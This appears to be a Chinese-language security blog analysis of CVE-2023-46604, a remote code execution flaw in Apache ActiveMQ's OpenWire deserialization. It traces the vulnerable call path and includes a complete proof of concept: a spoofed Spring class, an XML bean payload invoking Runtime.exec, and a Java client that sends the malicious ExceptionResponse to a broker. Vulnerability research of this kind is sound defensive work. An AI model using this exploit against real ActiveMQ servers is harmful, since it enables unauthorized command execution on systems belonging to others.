ActiveMQ RCE CVE-2023-46604分析

一、漏洞觸發點

org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller類的createThrowable方法。

package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller類
    
private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }
    }

這裏通過反射,實現了一個類的構造執行。所以需要找到這樣一個類傳遞進去,類的構造方法參數爲String,且能達到攻擊效果。
activemq包含Spring,而ClassPathXmlApplicationContext類剛好能滿足。

public class MainClassPathXmlApplicationContext {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
        Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
        Constructor constructor = aClass.getConstructor(new Class[]{String.class});
        constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
    }
}

二、觸發流程

createThrowable的觸發來源兩處

  1. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
  2. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable

tightUnmarsalThrowable和looseUnmarsalThrowable的作用是將字節流反序列化爲異常對象,並將其拋出。在 ActiveMQ 的消息傳遞過程中,異常對象可以用於在消息發送和接收之間傳遞錯誤信息或異常狀態。通過將異常對象序列化並作爲消息的一部分發送,接收方可以獲取到發送方拋出的異常,並反序列化後處理。

這兩處繼續往上尋找觸發點,一共有三處,也就是捕獲異常對象是這三種類就可以觸發tightUnmarsalThrowable或looseUnmarsalThrowable:

  1. ConnectionErrorMarshaller
  2. ExceptionResponseMarshaller
  3. MessageAckMarshaller

三類都存在tightUnmarshal和looseUnmarshal方法,兩個方法分別觸發tightUnmarshal和looseUnmarsalThrowable。
繼續向上尋找,觸發均來自OpenWireFormat類的doUnmarshal,該方法是OpenWire協議的反序列化方法。
在doUnmarshal中,根據dataType索引值對應的類,來執行對應類的tightUnmarshal或looseUnmarshal。

public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != NULL_TYPE) {
            DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            }
            Object data = dsm.createObject();
            if (this.tightEncodingEnabled) {
                BooleanStream bs = new BooleanStream();
                bs.unmarshal(dis);
                dsm.tightUnmarshal(this, data, dis, bs);
            } else {
                dsm.looseUnmarshal(this, data, dis);
            }
            return data;
        } else {
            return null;
        }
    }

dataType在dataMarshallers中對應的上述三種類索引如下:

  1. ConnectionErrorMarshaller---16
  2. ExceptionResponseMarshaller---31
  3. MessageAckMarshaller---22

doUnmarshal再往上就是unmarshal,這也是所有數據接收的入口。

通過這裏的分析,只要我們將ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三種類型的對象序列化傳給ActiveMQ的OpenWire協議接口,就可以讓ActiveMQ在接收後進行反序列化,觸發createThrowable。

三、傳遞的對象類型

通過上述知道dataType需要爲16、31、22。當發送的對象類爲ConnectionErrorExceptionResponseMessageAck的時候dataType分別是16、31、22。
而這三個類接收的exception參數需要繼承Throwable,所以可以在本地構造一個與Spring同路徑名的ClassPathXmlApplicationContext類並繼承Throwable,當ClassPathXmlApplicationContext對象發送後,類路徑和message會被解析,最後服務器側通過類路徑反射得到Spring中的ClassPathXmlApplicationContext對象,達到攻擊效果。

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

四、如何發送序列化對象

Transport的oneway可實現對象發送,ActiveMQ的連接對象爲ActiveMQConnection類,通過使用ActiveMQConnection類中asyncSendPacket最終調用Transport的oneway,來發送惡意對象。

((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);

五、利用方式

遠程XML文件

<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
   <bean id="process" factory-bean="runtime" factory-method="exec">
       <constructor-arg value="cmd /c start calc" />
   </bean>
</beans>

ClassPathXmlApplicationContext類

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

最終實現

import javax.jms.*;

public class Main {
    private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
    public static void main(String[] args) throws Exception {
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();
        Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
        ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
//      ConnectionError connectionError = new ConnectionError();
//      connectionError.setException(obj);

//      MessageAck messageAck = new MessageAck();
//      messageAck.setPoisonCause(obj);
        ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
        connection.close();
    }
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章